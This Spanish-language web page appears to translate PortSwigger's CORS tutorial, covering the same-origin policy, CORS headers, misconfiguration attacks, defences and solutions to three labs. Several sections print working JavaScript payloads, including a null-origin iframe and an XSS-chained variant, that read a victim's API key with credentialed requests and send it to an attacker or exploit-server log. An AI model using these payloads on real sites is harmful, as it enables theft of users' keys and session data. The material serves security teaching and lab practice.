itrox.siteGithub

CORS PortSwigger

En esta sección, explicaremos qué es el intercambio de recursos entre orígenes (CORS), describiremos algunos ejemplos comunes de ataques basados ​​en el intercambio de recursos entre orígenes y analizaremos cómo protegernos contra estos ataques. Este tema fue escrito en colaboración con PortSwigger Research, quien popularizó esta clase de ataque con la presentación Explotación de configuraciones incorrectas de CORS para Bitcoins y recompensas

I. ¿Qué es CORS (intercambio de recursos entre orígenes)?

El intercambio de recursos entre orígenes (CORS) es un mecanismo del navegador que permite el acceso controlado a recursos ubicados fuera de un dominio determinado. Amplía y añade flexibilidad a la política del mismo origen (SOP). Sin embargo, también ofrece posibilidades de ataques entre dominios si la política CORS de un sitio web está mal configurada e implementada. CORS no es una protección contra ataques entre orígenes, como la falsificación de solicitudes entre sitios (CSRF).

II. Política del mismo origen (SOP)

En esta sección explicamos qué es la política del mismo origen (SOP) y cómo se implementa.

1. ¿Qué es la política del mismo origen?

La política del mismo origen es un mecanismo de seguridad del navegador web que tiene como objetivo evitar que los sitios web se ataquen entre sí.

La política del mismo origen restringe el acceso de los scripts de un origen a datos de otro origen. Un origen consta de un esquema URI, dominio y número de puerto. Por ejemplo, considere la siguiente URL:

http://normal-website.com/example/example.html

Esto utiliza el esquema http, el dominio normal-website.comy el número de puerto 80. La siguiente tabla muestra cómo se aplicará la política del mismo origen si el contenido de la URL anterior intenta acceder a otros orígenes:

URL accedida
¿Acceso permitido?

http://normal-website.com/example/

Sí: mismo esquema, dominio y puerto

http://normal-website.com/example2/

Sí: mismo esquema, dominio y puerto

https://normal-website.com/example/

No: esquema y puerto diferente

http://en.normal-website.com/example/

No: dominio diferente

http://www.normal-website.com/example/

No: dominio diferente

http://normal-website.com:8080/example/

No: puerto diferente*

*Internet Explorer permitirá este acceso porque IE no tiene en cuenta el número de puerto al aplicar la política del mismo origen.

2. ¿Por qué es necesaria la política del mismo origen?

Cuando un navegador envía una solicitud HTTP de un origen a otro, todas las cookies, incluidas las de sesión de autenticación, relevantes para el otro dominio también se envían como parte de la solicitud. Esto significa que la respuesta se generará dentro de la sesión del usuario e incluirá cualquier dato relevante que sea específico del usuario. Sin la política del mismo origen, si visitara un sitio web malicioso, podría leer sus correos electrónicos de Gmail, mensajes privados de Facebook, etc.

3. ¿Cómo se implementa la política del mismo origen?

La política del mismo origen generalmente controla el acceso que tiene el código JavaScript al contenido cargado entre dominios. Generalmente se permite la carga de recursos de páginas entre orígenes. Por ejemplo, el SOP permite incrustar imágenes a través de la <img>etiqueta, medios a través de la <video>etiqueta y JavaScript incluido con la <script>etiqueta. Sin embargo, si bien la página puede cargar estos recursos externos, ningún JavaScript en la página podrá leer el contenido de estos recursos.

Existen varias excepciones a la política del mismo origen:

  • Algunos objetos se pueden escribir pero no se pueden leer entre dominios, como el locationobjeto o la location.hrefpropiedad de iframes o ventanas nuevas.

  • Algunos objetos se pueden leer pero no se pueden escribir en varios dominios, como la lengthpropiedad del windowobjeto (que almacena el número de fotogramas que se utilizan en la página) y la closedpropiedad.

  • La replacefunción generalmente se puede llamar dominio cruzado en el locationobjeto.

  • Puede llamar a ciertas funciones entre dominios. Por ejemplo, puede llamar a las funciones closey bluren focusuna nueva ventana. La postMessagefunción también se puede invocar en iframes y ventanas nuevas para enviar mensajes de un dominio a otro.

Debido a los requisitos heredados, la política del mismo origen es más relajada cuando se trata de cookies, por lo que a menudo son accesibles desde todos los subdominios de un sitio, aunque cada subdominio tenga técnicamente un origen diferente. Puede mitigar parcialmente este riesgo utilizando el HttpOnlyindicador de cookies.

Es posible relajar la política del mismo origen usando document.domain. Esta propiedad especial le permite relajar el SOP para un dominio específico, pero solo si es parte de su FQDN (nombre de dominio completo). Por ejemplo, es posible que tenga un dominio marketing.example.comy le gustaría leer el contenido de ese dominio en example.com. Para hacerlo, ambos dominios deben configurarse document.domainen example.com. Entonces el SOP permitirá el acceso entre los dos dominios a pesar de sus diferentes orígenes. En el pasado, era posible configurar document.domainun TLD como com, que permitía el acceso entre cualquier dominio en el mismo TLD, pero ahora los navegadores modernos lo impiden.

III. Flexibilización de la política del mismo origen

La política del mismo origen es muy restrictiva y, en consecuencia, se han ideado varios enfoques para eludir las limitaciones. Muchos sitios web interactúan con subdominios o sitios de terceros de una manera que requiere acceso total entre orígenes. Es posible una relajación controlada de la política del mismo origen mediante el uso compartido de recursos entre orígenes (CORS).

El protocolo de intercambio de recursos entre orígenes utiliza un conjunto de encabezados HTTP que definen orígenes web confiables y propiedades asociadas, como si se permite el acceso autenticado. Estos se combinan en un intercambio de encabezados entre un navegador y el sitio web de origen cruzado al que intenta acceder.

1. CORS y el encabezado de respuesta Access-Control-Allow-Origin

En esta sección explicamos qué ==Access-Control-Allow-Origines el encabezado con respecto a CORS== y cómo forma parte de la implementación de CORS.

La especificación de intercambio de recursos entre orígenes proporciona una relajación controlada de la política del mismo origen para solicitudes HTTP a un dominio de sitio web desde otro mediante el uso de una colección de encabezados HTTP. Los navegadores permiten el acceso a respuestas a solicitudes de origen cruzado según estas instrucciones de encabezado.

2. ¿Qué es el encabezado de respuesta Access-Control-Allow-Origin?

El Access-Control-Allow-Originencabezado se incluye en la respuesta de un sitio web a una solicitud que se origina en otro sitio web e identifica el origen permitido de la solicitud. Un navegador web compara Access-Control-Allow-Origin con el origen del sitio web solicitante y permite el acceso a la respuesta si coinciden.

3. Implementación de un intercambio simple de recursos entre orígenes

La especificación de intercambio de recursos entre orígenes (CORS) prescribe el contenido del encabezado intercambiado entre servidores web y navegadores que restringe los orígenes de las solicitudes de recursos web fuera del dominio de origen. La especificación CORS identifica una colección de encabezados de protocolo, de los cuales Access-Control-Allow-Originel más importante. Un servidor devuelve este encabezado cuando un sitio web solicita un recurso entre dominios, con un Originencabezado agregado por el navegador.

Por ejemplo, supongamos que un sitio web con origen normal-website.comprovoca la siguiente solicitud entre dominios:

GET /data HTTP/1.1 
Host: robust-website.com 
Origin: https://normal-website.com

El servidor robust-website.comdevuelve la siguiente respuesta:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com

El navegador permitirá que el código que se ejecuta normal-website.comacceda a la respuesta porque los orígenes coinciden.

==La especificación de Access-Control-Allow-Originpermite múltiples orígenes, o el valor null, o el comodín *. Sin embargo, ningún navegador admite múltiples orígenes y existen restricciones en el uso del comodín *.==

4. Manejo de solicitudes de recursos de origen cruzado con credenciales

El comportamiento predeterminado de las solicitudes de recursos entre orígenes es que las solicitudes se pasen sin credenciales como cookies y el encabezado de Autorización. Sin embargo, el servidor entre dominios puede permitir la lectura de la respuesta cuando se le pasan las credenciales estableciendo el Access-Control-Allow-Credentialsencabezado CORS en verdadero. Ahora bien, si el sitio web solicitante utiliza JavaScript para declarar que envía cookies con la solicitud:

GET /data HTTP/1.1
Host: robust-website.com
...
Origin: https://normal-website.com
Cookie: JSESSIONID=<value>

Y la respuesta a la solicitud es:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Credentials: true

Luego, el navegador permitirá que el sitio web solicitante lea la respuesta, porque el Access-Control-Allow-Credentialsencabezado de la respuesta está configurado en true. De lo contrario, el navegador no permitirá el acceso a la respuesta.

5. Relajación de las especificaciones CORS con comodines

El encabezado Access-Control-Allow-Originadmite comodines. Por ejemplo:

Access-Control-Allow-Origin: *

Nota

Tenga en cuenta que no se pueden utilizar comodines dentro de ningún otro valor. Por ejemplo, el siguiente encabezado no es válido:

Access-Control-Allow-Origin: https://*.normal-website.com

Afortunadamente, desde una perspectiva de seguridad, el uso del comodín está restringido en la especificación, ya que no se puede combinar el comodín con la transferencia de credenciales entre orígenes (autenticación, cookies o certificados del lado del cliente). En consecuencia, una respuesta de servidor entre dominios de la forma:

...
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

No está permitido ya que sería peligrosamente inseguro y expondría cualquier contenido autenticado en el sitio de destino a todos.

Dadas estas restricciones, algunos servidores web crean Access-Control-Allow-Originencabezados de forma dinámica en función del origen especificado por el cliente. Esta es una solución alternativa para las restricciones CORS que no es segura. Más adelante le mostraremos cómo se puede aprovechar esto .

6. Controles previos al vuelo

La verificación previa al vuelo se agregó a la especificación CORS para proteger los recursos heredados de las opciones de solicitud ampliadas permitidas por CORS. En determinadas circunstancias, cuando una solicitud entre dominios incluye un método HTTP o encabezados no estándar, la solicitud entre orígenes está precedida por una solicitud que utiliza el OPTIONS método, y el protocolo CORS requiere una verificación inicial de qué métodos y encabezados están permitidos antes. para permitir la solicitud de origen cruzado. Esto se llama verificación previa al vuelo. El servidor devuelve una lista de métodos permitidos además del origen confiable y el navegador verifica si el método del sitio web solicitante está permitido.

Por ejemplo, esta es una solicitud previa al vuelo que busca utilizar el PUT método junto con un encabezado de solicitud personalizado llamado Special-Request-Header:

OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header

El servidor podría devolver una respuesta como la siguiente:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

Esta respuesta establece los métodos permitidos ( PUTy POST) OPTIONSy los encabezados de solicitud permitidos ( Special-Request-Header). En este caso particular, el servidor entre dominios también permite el envío de credenciales y el Access-Control-Max-Ageencabezado define un período de tiempo máximo para almacenar en caché la respuesta previa al vuelo para su reutilización. Si los métodos de solicitud y los encabezados están permitidos (como lo están en este ejemplo), entonces el navegador procesa la solicitud entre orígenes de la forma habitual. Las comprobaciones previas al vuelo añaden una solicitud HTTP adicional de ida y vuelta a la solicitud entre dominios, por lo que aumentan la sobrecarga de navegación.

7. ¿CORS protege contra CSRF?

CORS no proporciona protección contra ataques de falsificación de solicitudes entre sitios (CSRF); este es un error común.

CORS es una relajación controlada de la política del mismo origen, por lo que CORS mal configurado puede en realidad aumentar la posibilidad de ataques CSRF o exacerbar su impacto.

Hay varias formas de realizar ataques CSRF sin utilizar CORS, incluidos formularios HTML simples y recursos entre dominios.

IV. Vulnerabilidades que surgen de problemas de configuración de CORS

Muchos sitios web modernos utilizan CORS para permitir el acceso desde subdominios y terceros de confianza. Su implementación de CORS puede contener errores o ser demasiado indulgente para garantizar que todo funcione, y esto puede resultar en vulnerabilidades explotables.

1. Encabezado ACAO generado por el servidor a partir del encabezado Origin especificado por el cliente

Algunas aplicaciones necesitan proporcionar acceso a otros dominios. Mantener una lista de dominios permitidos requiere un esfuerzo continuo y cualquier error corre el riesgo de alterar la funcionalidad. Por lo tanto, algunas aplicaciones toman el camino fácil de permitir efectivamente el acceso desde cualquier otro dominio.

Una forma de hacerlo es leyendo el encabezado Origen de las solicitudes e incluyendo un encabezado de respuesta que indique que el origen solicitante está permitido. Por ejemplo, considere una aplicación que recibe la siguiente solicitud:

GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...

Luego responde con:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...

Estos encabezados indican que se permite el acceso desde el dominio solicitante ( malicious-website.com) y que las solicitudes de origen cruzado pueden incluir cookies ( Access-Control-Allow-Credentials: true) y, por lo tanto, se procesarán durante la sesión.

Debido a que la aplicación refleja orígenes arbitrarios en el Access-Control-Allow-Originencabezado, esto significa que absolutamente cualquier dominio puede acceder a los recursos del dominio vulnerable. Si la respuesta contiene información confidencial, como una clave API o un token CSRF, puede recuperarla colocando el siguiente script en su sitio web:

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
	location='//malicious-website.com/log?key='+this.responseText;
};

2. Errores al analizar los encabezados de origen

Algunas aplicaciones que admiten el acceso desde múltiples orígenes lo hacen mediante el uso de una lista blanca de orígenes permitidos. Cuando se recibe una solicitud CORS, el origen proporcionado se compara con la lista blanca. Si el origen aparece en la lista blanca, se refleja en el Access-Control-Allow-Originencabezado para que se conceda el acceso. Por ejemplo, la aplicación recibe una solicitud normal como:

GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://innocent-website.com

La aplicación verifica el origen suministrado con su lista de orígenes permitidos y, si está en la lista, refleja el origen de la siguiente manera:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://innocent-website.com

A menudo surgen errores al implementar listas blancas de origen CORS. Algunas organizaciones deciden permitir el acceso desde todos sus subdominios (incluidos los subdominios futuros que aún no existen). Y algunas aplicaciones permiten el acceso desde dominios de otras organizaciones, incluidos sus subdominios. Estas reglas a menudo se implementan haciendo coincidir prefijos o sufijos de URL, o usando expresiones regulares. Cualquier error en la implementación puede dar lugar a que se conceda acceso a dominios externos no deseados.

Por ejemplo, supongamos que una aplicación otorga acceso a todos los dominios que terminan en:

normal-website.com

Un atacante podría obtener acceso registrando el dominio:

hackersnormal-website.com

Alternativamente, supongamos que una aplicación otorga acceso a todos los dominios que comienzan con

normal-website.com

Un atacante podría obtener acceso utilizando el dominio:

normal-website.com.evil-user.net

3. Valor de origen nulo incluido en la lista blanca

La especificación para el encabezado Origen admite el valor null. Los navegadores pueden enviar el valor nullen el encabezado Origen en varias situaciones inusuales:

  • Redirecciones de origen cruzado.

  • Solicitudes de datos serializados.

  • Solicitud utilizando el file:protocolo.

  • Solicitudes de origen cruzado en espacio aislado.

Algunas aplicaciones pueden incluir el nullorigen en la lista blanca para respaldar el desarrollo local de la aplicación. Por ejemplo, supongamos que una aplicación recibe la siguiente solicitud de origen cruzado:

GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null

Y el servidor responde con:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

En esta situación, un atacante puede utilizar varios trucos para generar una solicitud de origen cruzado que contenga el valor nullen el encabezado Origen. Esto satisfará la lista blanca, lo que conducirá al acceso entre dominios. Por ejemplo, esto se puede hacer usando una iframesolicitud de origen cruzado en espacio aislado del formulario:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','vulnerable-website.com/sensitive-victim-data',true); req.withCredentials = true; req.send(); function reqListener() { location='malicious-website.com/log?key='+this.responseText; }; </script>"></iframe>

4. Explotación de XSS a través de relaciones de confianza CORS

Incluso CORS configurado "correctamente" establece una relación de confianza entre dos orígenes. Si un sitio web confía en un origen que es vulnerable a secuencias de comandos entre sitios (XSS), entonces un atacante podría explotar el XSS para inyectar algo de JavaScript que utilice CORS para recuperar información confidencial del sitio que confía en la aplicación vulnerable.

Ante la siguiente solicitud:

GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...

Si el servidor responde con:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

Luego, un atacante que encuentre una vulnerabilidad XSS subdomain.vulnerable-website.com podría usarla para recuperar la clave API, usando una URL como:

https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>

5. Romper TLS con CORS mal configurado

Supongamos que una aplicación que emplea rigurosamente HTTPS también incluye en la lista blanca un subdominio confiable que utiliza HTTP simple. Por ejemplo, cuando la aplicación recibe la siguiente solicitud:

GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com
Cookie: sessionid=...

La aplicación responde con:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

En esta situación, un atacante que esté en condiciones de interceptar el tráfico de un usuario víctima puede explotar la configuración CORS para comprometer la interacción de la víctima con la aplicación. Este ataque implica los siguientes pasos:

  • El usuario víctima realiza cualquier solicitud HTTP simple.

  • El atacante inyecta una redirección a: http://trusted-subdomain.vulnerable-website.com

  • El navegador de la víctima sigue la redirección.

  • El atacante intercepta la solicitud HTTP simple y devuelve una respuesta falsificada que contiene una solicitud CORS a: https://vulnerable-website.com

  • El navegador de la víctima realiza la solicitud CORS, incluido el origen: http://trusted-subdomain.vulnerable-website.com

  • La aplicación permite la solicitud porque se trata de un origen incluido en la lista blanca. Los datos confidenciales solicitados se devuelven en la respuesta.

  • La página falsificada del atacante puede leer los datos confidenciales y transmitirlos a cualquier dominio bajo el control del atacante.

Este ataque es efectivo incluso si el sitio web vulnerable es sólido en el uso de HTTPS, sin un endpoint HTTP y con todas las cookies marcadas como seguras.

6. Intranets y CORS sin credenciales

La mayoría de los ataques CORS se basan en la presencia del encabezado de respuesta:

Access-Control-Allow-Credentials: true

Sin ese encabezado, el navegador de la víctima se negará a enviar sus cookies, lo que significa que el atacante solo obtendrá acceso a contenido no autenticado, al que podría acceder con la misma facilidad navegando directamente al sitio web de destino.

Sin embargo, existe una situación común en la que un atacante no puede acceder a un sitio web directamente: cuando forma parte de la intranet de una organización y está ubicado dentro de un espacio de direcciones IP privado. Los sitios web internos suelen tener un estándar de seguridad más bajo que los sitios externos, lo que permite a los atacantes encontrar vulnerabilidades y obtener más acceso. Por ejemplo, una solicitud de origen cruzado dentro de una red privada puede ser la siguiente:

GET /reader?url=doc1.pdf
Host: intranet.normal-website.com
Origin: https://normal-website.com

Y el servidor responde con:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *

El servidor de aplicaciones confía en las solicitudes de recursos de cualquier origen sin credenciales. Si los usuarios dentro del espacio de direcciones IP privadas acceden a la Internet pública, entonces se puede realizar un ataque basado en CORS desde el sitio externo que utiliza el navegador de la víctima como proxy para acceder a los recursos de la intranet.

V. Cómo prevenir ataques basados ​​en CORS

Las vulnerabilidades de CORS surgen principalmente como configuraciones incorrectas. La prevención es, por tanto, un problema de configuración. Las siguientes secciones describen algunas defensas efectivas contra los ataques CORS.

1. Configuración adecuada de solicitudes de origen cruzado

Si un recurso web contiene información confidencial, el origen debe especificarse correctamente en el Access-Control-Allow-Originencabezado.

2. Permitir solo sitios confiables

Puede parecer obvio, pero los orígenes especificados en el Access-Control-Allow-Originencabezado solo deben ser sitios de confianza. En particular, reflejar dinámicamente los orígenes de solicitudes de orígenes cruzados sin validación es fácilmente explotable y debe evitarse.

3. Evite incluir en la lista blanca nula

Evite utilizar el encabezado Access-Control-Allow-Origin: null. Las llamadas de recursos de origen cruzado desde documentos internos y solicitudes de espacio aislado pueden especificar el nullorigen. Los encabezados CORS deben definirse adecuadamente con respecto a los orígenes confiables para servidores públicos y privados.

4. Evite los comodines en las redes internas

Evite el uso de comodines en redes internas. Confiar únicamente en la configuración de red para proteger los recursos internos no es suficiente cuando los navegadores internos pueden acceder a dominios externos que no son de confianza.

5. CORS no sustituye a las políticas de seguridad del lado del servidor

CORS define los comportamientos del navegador y nunca reemplaza la protección de datos confidenciales del lado del servidor: un atacante puede falsificar directamente una solicitud desde cualquier origen confiable. Por lo tanto, los servidores web deben seguir aplicando protecciones sobre los datos confidenciales, como la autenticación y la gestión de sesiones, además de CORS configurado correctamente.

Leer más

VI. Labs solutions

1. Vulnerabilidad CORS con reflexión de origen básica

Este sitio web tiene una configuración CORS insegura porque confía en todos los orígenes.

Para resolver la práctica de laboratorio, cree algo de JavaScript que utilice CORS para recuperar la clave API del administrador y cargue el código en su servidor de explotación. La práctica de laboratorio se resuelve cuando envía correctamente la clave API del administrador.

Puede iniciar sesión en su propia cuenta utilizando las siguientes credenciales:wiener:peter

ACCEDER AL LABORATORIO

Solución

  1. La intercepción de verificación está desactivada, luego use el navegador para iniciar sesión y acceder a la página de su cuenta.

  2. Revise el historial y observe que su clave se recupera mediante una solicitud AJAX a /accountDetails, y la respuesta contiene el Access-Control-Allow-Credentialsencabezado que sugiere que puede ser compatible con CORS.

  3. Envíe la solicitud a Burp Repeater y vuelva a enviarla con el encabezado agregado: Origin: https://example.com

  4. Observa que el origen se refleja en el Access-Control-Allow-Originencabezado.

  5. En el navegador, vaya al servidor de exploits e ingrese el siguiente HTML, reemplácelo YOUR-LAB-IDcon la URL única de su laboratorio:

<script>
	var req = new XMLHttpRequest();
	req.onload = reqListener;
	req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
	req.withCredentials = true;
	req.send();
	
	function reqListener() {
		location='/log?key='+this.responseText;
	};
</script>

  1. Haga clic en Ver explotación . Observe que el exploit funciona: ha llegado a la página de registro y su clave API está en la URL.

  2. Vuelva al servidor de exploits y haga clic en Entregar exploit a la víctima .

  3. Haga clic en Registro de acceso, recupere y envíe la clave API de la víctima para completar la práctica de laboratorio.

  4. Decodear con URL.

2. Vulnerabilidad CORS con origen nulo confiable

Este sitio web tiene una configuración CORS insegura porque confía en el origen "null".

Para resolver la práctica de laboratorio, cree algo de JavaScript que utilice CORS para recuperar la clave API del administrador y cargue el código en su servidor de explotación. La práctica de laboratorio se resuelve cuando envía correctamente la clave API del administrador.

Puede iniciar sesión en su propia cuenta utilizando las siguientes credenciales:wiener:peter

ACCEDER AL LABORATORIO

Solución

  1. Verifique que la intercepción esté desactivada, luego use el navegador de Burp para iniciar sesión en su cuenta. Haga clic en "Mi cuenta".

  2. Revise el historial y observe que su clave se recupera mediante una solicitud AJAX a /accountDetails, y la respuesta contiene el Access-Control-Allow-Credentialsencabezado que sugiere que puede ser compatible con CORS.

  3. Envíe la solicitud a Burp Repeater y vuelva a enviarla con el encabezado agregadoOrigin: null.

  4. Observe que el origen "nulo" se refleja en el Access-Control-Allow-Origin encabezado.

  5. En el navegador, vaya al servidor de exploits e ingrese el siguiente HTML, reemplazándolo YOUR-LAB-IDcon la URL de su laboratorio exclusivo y YOUR-EXPLOIT-SERVER-ID con el ID del servidor de exploits:

<html>
    <body>
        <iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
            var req = new XMLHttpRequest();
            req.onload = reqListener;
            req.open('get','testphp.vulnweb.com/accountDetails',true);
            req.withCredentials = true;
            req.send();
            
            function reqListener() {
                location='testphp.vulnweb.com/log?key='+encodeURIComponent(this.responseText);
            };
        </script>"></iframe>
    </body>
</html>

Otra solución

<html>
    <body>
        <iframe style="display: none;" sandbox="allows-scripts"
        srcdoc="
            <script>
                var xhr = new XMLHttpRequest();
                var url = 'https://0aa600a004b4648083c8a6fc00ef00d4.web-security-academy.net'
                
                xhr.onreadystatechange = function() {
                    if (xhr.readyState == XMLHttpRequest.DONE) {
                        fetch('https://exploit-0aef00bc0490642283a6a57f018d00ab.exploit-server.net/log?key=' + xhr.responseText)
                    }
                }

                xhr.open('GET', url + '/accountDetails', true);
                xhr.withCredentials = true;
                xhr.send(null);
            </script>"></iframe>
    </body>
</html>
Observe el uso de un entorno limitado de iframe, ya que genera una solicitud de origen nulo.

6. Haga clic en "Ver exploit". Observe que el exploit funciona: ha llegado a la página de registro y su clave API está en la URL. 7. Vuelva al servidor de exploits y haga clic en "Entregar exploit a la víctima". 8. Haga clic en "Registro de acceso", recupere y envíe la clave API de la víctima para completar la práctica de laboratorio.

3. Vulnerabilidad CORS con protocolos inseguros confiables

Este sitio web tiene una configuración CORS insegura porque confía en todos los subdominios independientemente del protocolo.

Para resolver la práctica de laboratorio, cree algo de JavaScript que utilice CORS para recuperar la clave API del administrador y cargue el código en su servidor de explotación. La práctica de laboratorio se resuelve cuando envía correctamente la clave API del administrador.

Puede iniciar sesión en su propia cuenta utilizando las siguientes credenciales:wiener:peter

ACCEDER AL LABORATORIO

Solución

  1. Verifique que la intercepción esté desactivada, luego use el navegador de Burp para iniciar sesión y acceder a la página de su cuenta.

  2. Revise el historial y observe que su clave se recupera mediante una solicitud AJAX a /accountDetails, y la respuesta contiene el Access-Control-Allow-Credentialsencabezado que sugiere que puede ser compatible con CORS.

  3. Envíe la solicitud a Burp Repeater y vuelva a enviarla con el encabezado agregado Origin: http://subdomain.lab-iddonde lab-idestá el nombre de dominio del laboratorio.

  4. Observe que el origen se refleja en el Access-Control-Allow-Origin: https://portswigger.net/web-security/cors/access-control-allow-originencabezado, confirmando que la configuración de CORS permite el acceso desde subdominios arbitrarios, tanto HTTPS como HTTP.

  5. Abra la página de un producto, haga clic en Verificar stock y observe que se carga mediante una URL HTTP en un subdominio.

  6. Observe que el productIDparámetro es vulnerable a XSS .

  7. En el navegador, vaya al servidor de exploits e ingrese el siguiente HTML, reemplazándolo YOUR-LAB-IDcon la URL única de su laboratorio y YOUR-EXPLOIT-SERVER-IDcon su ID de servidor de exploits:

<script>
	document.location="http://stock.YOUR-LAB-ID.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://YOUR-LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>

  1. Haga clic en Ver explotación . Observe que el exploit funciona: ha llegado a la página de registro y su clave API está en la URL.

  2. Vuelva al servidor de exploits y haga clic en Entregar exploit a la víctima .

  3. Haga clic en Registro de acceso , recupere y envíe la clave API de la víctima para completar la práctica de laboratorio.